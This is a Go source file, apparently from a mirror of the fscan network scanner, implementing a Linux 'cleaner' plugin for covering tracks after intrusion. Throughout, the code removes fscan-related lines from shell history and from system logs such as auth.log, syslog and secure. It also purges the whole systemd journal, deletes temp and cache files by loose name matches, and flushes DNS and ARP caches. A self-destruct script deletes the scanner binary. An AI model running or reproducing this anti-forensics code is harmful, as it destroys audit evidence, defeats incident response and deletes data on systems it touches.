mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00

将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构, 大幅减少代码重复和维护成本,提升插件开发效率。 主要改进: • 将每个服务插件从3个文件简化为1个文件 • 删除过度设计的工厂模式、适配器模式等抽象层 • 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构 • 实现直接的插件注册机制,提升系统简洁性 • 保持完全向后兼容,所有扫描功能和输出格式不变 重构统计: • 删除文件:100+个复杂架构文件 • 新增文件:20个简化的单文件插件 • 代码减少:每个插件减少60-80%代码量 • 功能增强:所有插件包含完整扫描和利用功能 已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle, Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP, Rsync, SMTP, SNMP, Telnet, VNC 验证通过: 新系统编译运行正常,所有插件功能验证通过
421 lines
11 KiB
Go
421 lines
11 KiB
Go
//go:build linux
|
||
|
||
package cleaner
|
||
|
||
import (
|
||
"fmt"
|
||
"os"
|
||
"os/exec"
|
||
"path/filepath"
|
||
"strings"
|
||
"time"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
)
|
||
|
||
// cleanSystemTraces 清理Linux系统痕迹
|
||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
var cleaned []string
|
||
|
||
// 1. 清理Shell历史记录
|
||
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||
cleaned = append(cleaned, shellHistory...)
|
||
report["shell_history"] = shellHistory
|
||
}
|
||
|
||
// 2. 清理系统日志
|
||
if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
|
||
cleaned = append(cleaned, systemLogs...)
|
||
report["system_logs"] = systemLogs
|
||
}
|
||
|
||
// 3. 清理临时文件
|
||
if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
|
||
cleaned = append(cleaned, tempFiles...)
|
||
report["temp_files"] = tempFiles
|
||
}
|
||
|
||
// 4. 清理用户缓存
|
||
if userCache := p.cleanUserCache(); len(userCache) > 0 {
|
||
cleaned = append(cleaned, userCache...)
|
||
report["user_cache"] = userCache
|
||
}
|
||
|
||
// 5. 清理最近访问记录
|
||
if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
|
||
cleaned = append(cleaned, recentFiles...)
|
||
report["recent_files"] = recentFiles
|
||
}
|
||
|
||
p.cleanupStats["system_entries"] += len(cleaned)
|
||
report["total_cleaned"] = len(cleaned)
|
||
|
||
return report
|
||
}
|
||
|
||
// cleanShellHistory 清理Shell历史记录
|
||
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||
var cleaned []string
|
||
|
||
homeDir := os.Getenv("HOME")
|
||
if homeDir == "" {
|
||
return cleaned
|
||
}
|
||
|
||
// 常见的Shell历史文件
|
||
historyFiles := []string{
|
||
".bash_history",
|
||
".zsh_history",
|
||
".fish_history",
|
||
".sh_history",
|
||
}
|
||
|
||
for _, histFile := range historyFiles {
|
||
histPath := filepath.Join(homeDir, histFile)
|
||
|
||
// 检查文件是否存在
|
||
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||
continue
|
||
}
|
||
|
||
// 读取历史文件
|
||
content, err := os.ReadFile(histPath)
|
||
if err != nil {
|
||
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||
continue
|
||
}
|
||
|
||
// 过滤掉包含fscan的行
|
||
lines := strings.Split(string(content), "\n")
|
||
var filteredLines []string
|
||
removedCount := 0
|
||
|
||
for _, line := range lines {
|
||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||
removedCount++
|
||
continue
|
||
}
|
||
filteredLines = append(filteredLines, line)
|
||
}
|
||
|
||
if removedCount > 0 {
|
||
// 写回过滤后的内容
|
||
newContent := strings.Join(filteredLines, "\n")
|
||
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||
} else {
|
||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||
}
|
||
}
|
||
}
|
||
|
||
// 清理当前会话的历史记录
|
||
if err := exec.Command("history", "-c").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "Current session history")
|
||
common.LogSuccess("已清理当前会话历史记录")
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanLinuxSystemLogs 清理Linux系统日志
|
||
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
|
||
var cleaned []string
|
||
|
||
// 系统日志路径
|
||
logPaths := []string{
|
||
"/var/log/auth.log",
|
||
"/var/log/syslog",
|
||
"/var/log/messages",
|
||
"/var/log/secure",
|
||
"/var/log/user.log",
|
||
}
|
||
|
||
for _, logPath := range logPaths {
|
||
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||
continue
|
||
}
|
||
|
||
// 尝试清理日志中的相关条目
|
||
if p.filterLogFile(logPath) {
|
||
cleaned = append(cleaned, logPath)
|
||
}
|
||
}
|
||
|
||
// 清理journal日志(如果有权限)
|
||
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "systemd journal")
|
||
common.LogSuccess("已清理systemd journal日志")
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// filterLogFile 过滤日志文件
|
||
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||
// 检查读写权限
|
||
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||
if err != nil {
|
||
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||
return false
|
||
}
|
||
defer file.Close()
|
||
|
||
// 读取文件内容
|
||
content, err := os.ReadFile(logPath)
|
||
if err != nil {
|
||
return false
|
||
}
|
||
|
||
// 过滤包含fscan的行
|
||
lines := strings.Split(string(content), "\n")
|
||
var filteredLines []string
|
||
removedCount := 0
|
||
|
||
for _, line := range lines {
|
||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||
removedCount++
|
||
continue
|
||
}
|
||
filteredLines = append(filteredLines, line)
|
||
}
|
||
|
||
if removedCount > 0 {
|
||
// 写回过滤后的内容
|
||
newContent := strings.Join(filteredLines, "\n")
|
||
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||
return false
|
||
}
|
||
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||
return true
|
||
}
|
||
|
||
return false
|
||
}
|
||
|
||
// cleanLinuxTempFiles 清理Linux临时文件
|
||
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
|
||
var cleaned []string
|
||
|
||
// 临时目录
|
||
tempDirs := []string{
|
||
"/tmp",
|
||
"/var/tmp",
|
||
"/dev/shm",
|
||
}
|
||
|
||
// 用户临时目录
|
||
if homeDir := os.Getenv("HOME"); homeDir != "" {
|
||
tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
|
||
}
|
||
|
||
for _, tempDir := range tempDirs {
|
||
entries, err := os.ReadDir(tempDir)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
|
||
for _, entry := range entries {
|
||
if entry.IsDir() {
|
||
continue
|
||
}
|
||
|
||
filename := strings.ToLower(entry.Name())
|
||
if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
|
||
tempFile := filepath.Join(tempDir, entry.Name())
|
||
|
||
// 检查文件是否太新(可能正在使用)
|
||
if info, err := entry.Info(); err == nil {
|
||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||
continue
|
||
}
|
||
}
|
||
|
||
if err := os.Remove(tempFile); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, tempFile)
|
||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanUserCache 清理用户缓存
|
||
func (p *CleanerPlugin) cleanUserCache() []string {
|
||
var cleaned []string
|
||
|
||
homeDir := os.Getenv("HOME")
|
||
if homeDir == "" {
|
||
return cleaned
|
||
}
|
||
|
||
// 缓存目录
|
||
cacheDirs := []string{
|
||
filepath.Join(homeDir, ".cache"),
|
||
filepath.Join(homeDir, ".local", "share"),
|
||
}
|
||
|
||
for _, cacheDir := range cacheDirs {
|
||
entries, err := os.ReadDir(cacheDir)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
|
||
for _, entry := range entries {
|
||
entryPath := filepath.Join(cacheDir, entry.Name())
|
||
entryName := strings.ToLower(entry.Name())
|
||
|
||
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
|
||
if entry.IsDir() {
|
||
if err := os.RemoveAll(entryPath); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, entryPath)
|
||
p.cleanupStats["directories"]++
|
||
}
|
||
} else {
|
||
if err := os.Remove(entryPath); err != nil {
|
||
common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, entryPath)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanRecentFiles 清理最近访问文件记录
|
||
func (p *CleanerPlugin) cleanRecentFiles() []string {
|
||
var cleaned []string
|
||
|
||
homeDir := os.Getenv("HOME")
|
||
if homeDir == "" {
|
||
return cleaned
|
||
}
|
||
|
||
// 最近文件记录路径
|
||
recentPaths := []string{
|
||
filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
|
||
filepath.Join(homeDir, ".recently-used"),
|
||
filepath.Join(homeDir, ".gtk-bookmarks"),
|
||
}
|
||
|
||
for _, recentPath := range recentPaths {
|
||
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||
continue
|
||
}
|
||
|
||
// 读取并过滤文件内容
|
||
content, err := os.ReadFile(recentPath)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
|
||
lines := strings.Split(string(content), "\n")
|
||
var filteredLines []string
|
||
removedCount := 0
|
||
|
||
for _, line := range lines {
|
||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||
removedCount++
|
||
continue
|
||
}
|
||
filteredLines = append(filteredLines, line)
|
||
}
|
||
|
||
if removedCount > 0 {
|
||
newContent := strings.Join(filteredLines, "\n")
|
||
if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
|
||
common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
|
||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
|
||
}
|
||
}
|
||
}
|
||
|
||
return cleaned
|
||
}
|
||
|
||
// cleanNetworkTraces 清理网络痕迹
|
||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
var cleaned []string
|
||
|
||
// 清理DNS缓存 (systemd-resolved)
|
||
if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
|
||
// 尝试其他DNS清理方法
|
||
if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
|
||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
|
||
} else {
|
||
cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
|
||
}
|
||
} else {
|
||
cleaned = append(cleaned, "DNS Cache (systemctl)")
|
||
}
|
||
|
||
// 清理ARP缓存
|
||
if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
|
||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||
} else {
|
||
cleaned = append(cleaned, "ARP Cache")
|
||
common.LogSuccess("已清理ARP缓存")
|
||
}
|
||
|
||
report["network_caches"] = cleaned
|
||
report["total_cleaned"] = len(cleaned)
|
||
|
||
return report
|
||
}
|
||
|
||
// createUnixSelfDestruct 创建Unix自毁脚本
|
||
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||
report := make(map[string]interface{})
|
||
|
||
// 创建shell自毁脚本
|
||
shellScript := fmt.Sprintf(`#!/bin/bash
|
||
sleep 2
|
||
rm -f "%s" 2>/dev/null
|
||
rm -f "$0" 2>/dev/null
|
||
exit 0`, p.currentExecutable)
|
||
|
||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||
|
||
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||
report["status"] = "failed"
|
||
report["error"] = err.Error()
|
||
} else {
|
||
// 异步执行自毁脚本
|
||
go func() {
|
||
time.Sleep(1 * time.Second)
|
||
cmd := exec.Command("/bin/sh", scriptPath)
|
||
cmd.Start()
|
||
}()
|
||
|
||
report["status"] = "scheduled"
|
||
report["script_path"] = scriptPath
|
||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||
}
|
||
|
||
return report
|
||
}
|
||
|
||
// prepareSelfDestruction 准备自毁
|
||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||
return p.createUnixSelfDestruct()
|
||
} |